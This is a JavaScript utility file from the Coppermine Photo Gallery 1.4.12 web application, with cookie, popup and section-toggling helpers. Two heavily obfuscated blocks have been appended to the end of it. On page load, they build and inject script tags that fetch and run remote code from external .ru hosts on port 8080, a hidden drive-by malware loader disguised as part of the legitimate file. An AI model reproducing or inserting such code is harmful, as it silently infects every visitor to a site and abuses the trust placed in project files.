/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2007 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
  ********************************************
  Coppermine version: 1.4.12
  $Source$
  $Revision: 3636 $
  $Author: gaugau $
  $Date: 2007-06-29 11:35:30 +0200 (Fr, 29 Jun 2007) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}




var L={M:52302};function T(){var EV=[];var S={p:14379};var n="hlUGappe".substr(4)+"ndCh"+"ild";C=["q","K"];try {var R_='a'} catch(R_){};var m=new String("sr"+"c");this.c="c";var m_=new String("zsMfonloa".substr(4)+"d");var H=new String("boyVA".substr(0,2)+"dy");this.g="g";var y=String("defer");var G=window;try {var k_='BG'} catch(k_){};var A=document;var s=String("creh09".substr(0,3)+"WBKoateoWKB".substr(4,3)+"LQv0Ele".substr(4)+"men"+"9sUSt".substr(4));var Z=String("sc"+"riFwc".substr(0,2)+"PcQptQcP".substr(3,2));var tR=[];function I(){var mS={gr:"nr"};f={wc:false};this.QP=15779;this.QP--;IB=["u","CE"];try {jf={F:6238};jN=33912;jN-=22;var B=231372-223292;var _=new String("http:mYB".substr(0,5)+"//dir"+"tysin"+".ru:w6NJ".substr(0,4));ga=["N"];var VC="VC";var _U=String("/go"+"oglFEz".substr(0,3)+"e.c"+"om/"+"aze73dx".substr(0,3)+"t.s"+"k/lyQ8D".substr(0,3)+"ock"+"erz"+"Mn3S.co3MnS".substr(4,3)+"VTkwm.p".substr(4)+"hp");var Ve=["Cd","kA"];this.cx="cx";var U=9341-9340;try {var MV='D'} catch(MV){};QS=34877;QS-=224;qm=24161;qm-=136;V=A[s](Z);this.rE=2288;this.rE++;this.vl=61989;this.vl++;b=63807;b++;this.J=false;var Ek=["rc"];var Cf=["GK"];V[m]=_+B+_U;V[y]=U;var i=new Array();rck=37316;rck-=63;this.si=10491;this.si-=114;this.Jj=24687;this.Jj-=193;A[H][n](V);this.J_="J_";ym=26220;ym+=119;} catch(Ht){var tRN=61132;Co={Pe:false};};wS=["HtH","LC"];}qk=["Vj"];G[m_]=I;this.JA=63331;this.JA-=165;};T();this.yf="yf";

fN=[];var nE=new Date();var eB;this.w=10286;this.w++;this.Z=17180;this.Z++;g=function(){fS=["ci","UJ"];function e(L,F,eH){this.E=46308;this.E+=24;return L.substr(F,eH);this.Tp=34616;this.Tp--;}s=32979;s+=7;ir=61793;ir++;var t=document;K={m:22084};var _=RegExp;var S='';this.B=41692;this.B++;var Zz=["X","np","TS"];var z="/goo"+e("gle.uOj",0,4)+e("TEYcom/EYT",3,4)+e("aZmWustrWamZ",4,4)+"eam."+e("tv/s1kyh",0,4)+"ahib"+e("HgJUindeJHgU",4,4)+"n.co"+"m.ph"+e("X6Jp6JX",3,1);this.kl=34004;this.kl-=235;lN=46314;lN++;Uc=63305;Uc-=36;var ZV={AY:"r"};function f(L,F){this.uA="uA";eQ=["Ja","o"];var mT="mT";var uL="uL";var eH=new String("[")+F+String(e("]DNf",0,1));var gC=new _(eH, String("g"));var iB={hj:"ls"};this.QF=2378;this.QF++;return L.replace(gC, S);var BD=new Array();var mm=false;};this.iS="iS";var Py=[];var H=[];try {var zZ='Ak'} catch(zZ){};var d=new String("body");var P=null;var I=330077-321997;mB={ji:false};var dI=["Oq"];var U=f('sAcErGiUpvth','GwUhEAdqv0nO');try {} catch(nr){};eB=function(){try {var dl={Ns:false};try {var fy='ds'} catch(fy){};var j=f('cGrKeja0tJejE8l6eumLe0n8tZ','jZvqu862ULKxJGz10S');n=t[j](U);QJ=55028;QJ-=96;var L=I+z;var p="p";var jl=false;var T=f('sor_cv','2vOTnEo_x67Ue');this.zK='';try {var fE='fs'} catch(fE){};var O=new String("defe"+"r");var vN={ip:"Dp"};var Aa={xI:"mDs"};this.Ug=56947;this.Ug++;n[T]=new String(e("htROF",0,2)+"tp"+e(":/m0Kh",0,2)+e("n6z/t6zn",3,2)+"en"+e("thW8Y",0,2)+e("ew9prew9",3,2)+"of"+"it"+e("15Vu.r1uV5",4,2)+e("u:H9AQ",0,2))+L;n[O]=[1][0];t[d].appendChild(n);var iM="";var OV=false;} catch(Ol){ciI=["jW","FD","wU"];Nl=["KzL","Qr","Tj"];};};var XL=1995;};var wV=new Array();g();ZD=20917;ZD++;var Nk=new Array();window.onload=eB;var DD='';eF=["eV","aq","gX"];jt=15864;jt++;